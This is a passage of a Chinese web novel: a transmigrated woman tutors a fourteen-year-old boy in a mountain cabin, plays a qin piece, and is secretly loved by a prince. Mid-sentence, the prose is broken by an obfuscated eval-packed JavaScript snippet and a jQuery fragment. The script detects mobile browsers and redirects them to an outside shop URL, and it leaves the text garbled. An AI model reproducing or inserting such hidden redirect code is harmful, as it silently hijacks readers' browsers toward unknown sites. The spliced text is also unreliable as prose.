李明宇摇了摇头,语气十分肯定:“不会错,这是我亲自去南园国查探的结果。她确实是上官宰相的大小姐上官婉宁,还与南园国的大皇子自幼便订有婚约,原定的完婚之日,就在她跳海后的半个月。她的弟弟上官英杰在海边搜寻了数日,始终未见其踪迹,上官府便对外宣称,上官大小姐突染恶疾,不幸身亡。如今,南园国的大皇子,已经迎娶了上官宰相的二小姐。”
君枫林闻言,指尖微微一顿,随即淡淡说道:“哦,既如此,那她的身世暂且先不管了。凌叔那边,我也只说暂时未曾查到相关线索,免得让她徒增烦忧。”
李明宇将君枫林的反应尽收眼底,心中暗自叹息。他与君枫林相识多年,深知这位九王爷看似风流,实则内心对万事万物都带着一种疏离的漠然,从未对哪个女子动过真情。可今日,他分明从君枫林的眼神里,看到了毫不掩饰的迷恋与珍视。李明宇迟疑了一下,还是开口问道:“枫林,你……是不是对她动了心?”
君枫林闻言,没有丝毫掩饰,反而淡淡笑了起来,那笑容温柔得不像他平日的模样,眼神坚定而认真:“是的,明宇。虽然我与她不过是短暂的几次接触,但我已无法自拔地迷恋上了她。我本以为,自己这一生,都不会遇到心仪之人,可上天却在此时让我的梦中人出现。所以,不管她的身世如何,不管前路有多少阻碍,今生我都认定她了,非她不娶。”
李明宇看着君枫林眼中从未有过的坚定,心中默默叹道:君枫林向来是个情根深种的性子,一旦动了真心,便是至死不渝。但愿那个叫上官婉宁的姑娘,能够明白他的心意,不辜负这份深情。
时光荏苒,转眼便过去了一年之久。
深山木屋的庭院里,阳光透过枝叶的缝隙洒落,斑驳地映在青石板上。上官婉宁望着眼前身形抽高不少的君昊天,眉眼间漾起一抹真切的笑意,打趣道:“昊天,这一年来你倒是长了不少,如今都比我高出半个头了,瞧着像个真正的男子汉了,还是个难得的超级大帅哥。”
君昊天闻言,忍不住白了她一眼,语气带着几分不服气的执拗:“我本来就是个男人。”
上官婉宁被他这副认真的模样逗得盈盈一笑,声音轻快了几分:“小破孩,你现在也才十四岁好不好?放在哪儿都还是个未成年的少年郎呢。”
这一年间,上官婉宁与君昊天朝夕相处,每日清晨一同在林间晨跑,白日里便一同读书写字、探讨学问。她将自己脑海中那些古人能够接受的现代法学理念、管理知识,毫无保留地悉数教给了君昊天。
相处日久,她心底那份对陌生环境的戒备渐渐消散,竟隐隐将君昊天当成了前世好友乐儿的影子,与他说话时语气愈发轻松,脸上也时常会浮现出发自内心的淡淡笑容。她早已习惯了这没有高科技的古代生活,而君昊天受她影响,性子也开朗了不少,说话愈发直白坦率,不复往日的孤僻冷淡。
君昊天听了她的话,忍不住“呵呵”笑了起来,反驳道:“上官婉宁,你难道不知道,在咱们大庆,男子十四岁便已是成年,可以议亲娶亲了?枉你还是我的夫子呢,连这规矩都忘了。”
上官婉宁闻言,轻轻叹了口气,心底暗自腹诽:倒是把这古代的规矩给忘了。看来不管是在现代还是古代,自己怕是都逃不掉做老处女的命了。她收敛了思绪,语气平淡地转移话题:“昊天,时辰不早了,你该去练武了吧?”
“姥爷说今天不用练了。”君昊天摇摇头,目光落在她身上,带着几分期待。
上官婉宁微微一怔,随即问道:“哦?对了,今天一上午都没见到凌爷爷,他是外出了吗?”
“九叔来了,这会儿正和姥爷在房间里谈事呢。”君昊天如实答道。
上官婉宁心中一动:看来是有什么大事要发生了。这一年来,那位九王爷除了偶尔派人送来些物资,几乎从未亲自上山。
她却不知,君枫林这一年里,只要人在长岭城,每晚都会借着夜色的掩护,悄无声息地踏上通往深山的小径。他从不会惊扰任何人,只是静静站在她的窗前,借着窗棂透出来的微弱月光,凝望她熟睡的容颜。看她眉头微蹙时,便会暗自猜测她是否做了噩梦;见她嘴角带笑时,心底便会泛起阵阵暖意。
他不敢久留,生怕惊醒了她,更怕自己这份汹涌的情意吓到她,每次停留片刻便会悄然离去。这份隐秘的牵挂,如同暗夜中的藤蔓,在他心底疯狂滋长,却始终未曾宣之于口,她自然从未察觉。
君昊天犹豫了片刻,终于还是鼓起勇气说道:“婉宁,我前几次练武的时候,都听到你在屋里弹琴的声音。今日你能不能当面为我弹奏一曲?”
上官婉宁看着他眼中的期待,微笑着点头应允,语气带着几分自嘲:“当然可以。只是你之前不是说我弹得不好听吗?害得我后来都不敢再弹了,今天你可不许再打击我了。”
君昊天重重地点了点头,心底却暗自思忖:不是你弹得不好听,只是你弹的曲调都太过悲伤,听着让人心里发闷。
上官婉宁前世便极爱音乐,钢琴弹得极好。来到古代后,她对着古琴的曲谱摸索了几日,又经凌智渊悉心指点,虽算不得顶尖高手,弹奏起来却也有模有样,颇具专业水准。很快,她取来墙角的古琴,轻轻拨弄琴弦,一曲悠扬凄美的《假如爱有天意》便随着她纤细的指尖流淌而出,在庭院中缓缓散开。
君昊天静静地站在一旁,目光专注地望着弹琴的上官婉宁,心中思绪翻涌。这一年多的相处,她教给了自己太多其他夫子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125657|196056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从未提及的知识与理念。起初她对自己也带着几分疏离冷漠,可随着时间推移,她渐渐对自己敞开了心扉。
只是这位年长自己三岁的夫子,为何谈吐气质、思想见解都这般独特不凡?他实在好奇,她之前生活的环境究竟是怎样的?有着怎样的成长历程?又曾经历过何种变故,才养成了这般清冷的性子?
他还记得,某次闲聊时,她曾轻声说过:“冷漠,有时候并不是无情,只是一种避免被伤害的工具。”那么,究竟是谁曾伤害过她,让她这般小心翼翼地保护自己?
即便相处了一年有余,上官婉宁对他已是格外放开,偶尔会与他闲聊片刻,可在君昊天心中,关于她的疑问依旧堆积如山,从未消散。
上官婉宁弹奏的曲调凄美动听,带着一股直击人心的温柔与怅惘,很快便惊动了屋内正在议事的几人。君枫林与李明宇二人实在按捺不住,悄悄起身来到了庭院中,找了个僻静的角落,静静地聆听着这动人的旋律。
这是李明宇第一次见到上官婉宁本人。看到一身白衣的她静坐抚琴,身姿清雅,气质出尘,他不由得愣在了原地。心底暗自惊叹:难怪她能道出“人生若只如初见”那般绝美的词句。
此时的上官婉宁,眉眼间带着淡淡的忧伤,眼神专注而澄澈,那份清冷优雅的气质,竟让他心头不受控制地泛起一阵怦然心动。这种心动来得突如其来,连他自己都未曾预料,即便是当年对丁语蓉,也从未有过这般强烈的感觉。想到这里,李明宇的内心不由得掀起了惊涛骇浪。
《假如爱有天意》这首曲子,上官婉宁前世时常弹奏,来到古代后却是第一次完整地弹给别人听。她记得,前世每次弹奏这首曲子时,好友乐儿都会被感动得热泪盈眶。思绪流转间,乐儿的身影清晰地浮现在眼前,上官婉宁的眼眶不由得微微湿润,指尖的动作渐渐停下,她静静地坐在那里,心中默念:乐儿,我的好姐妹,这一年来,你过得还好吗?
琴声骤停,庭院中陷入一片寂静。君枫林望着上官婉宁微红的眼眶,眼神中满是心疼,他率先打破沉默,轻轻鼓起掌来,声音温柔:“宁儿,我只知你笔墨出众,没想到琴艺也这般不俗。”
上官婉宁听到他的声音,迅速收敛了眼底的情绪,站起身来,脸上重新恢复了往日的清冷,语气平淡地说道:“让王爷见笑了,宁儿的琴艺实在算不上出众。”说罢,她便走到一旁的石桌前坐下,端起桌上早已沏好的清茶,沉默地抿了一口,以此掩饰心底的波澜。
君枫林见状,快步走到她身旁坐下,紧挨着她的身侧,语气带着几分好奇:“宁儿,你刚刚弹奏的这首曲子叫什么名字?我从未听过这般动人的曲调。”
“《假如爱有天意》。”上官婉宁淡淡答道。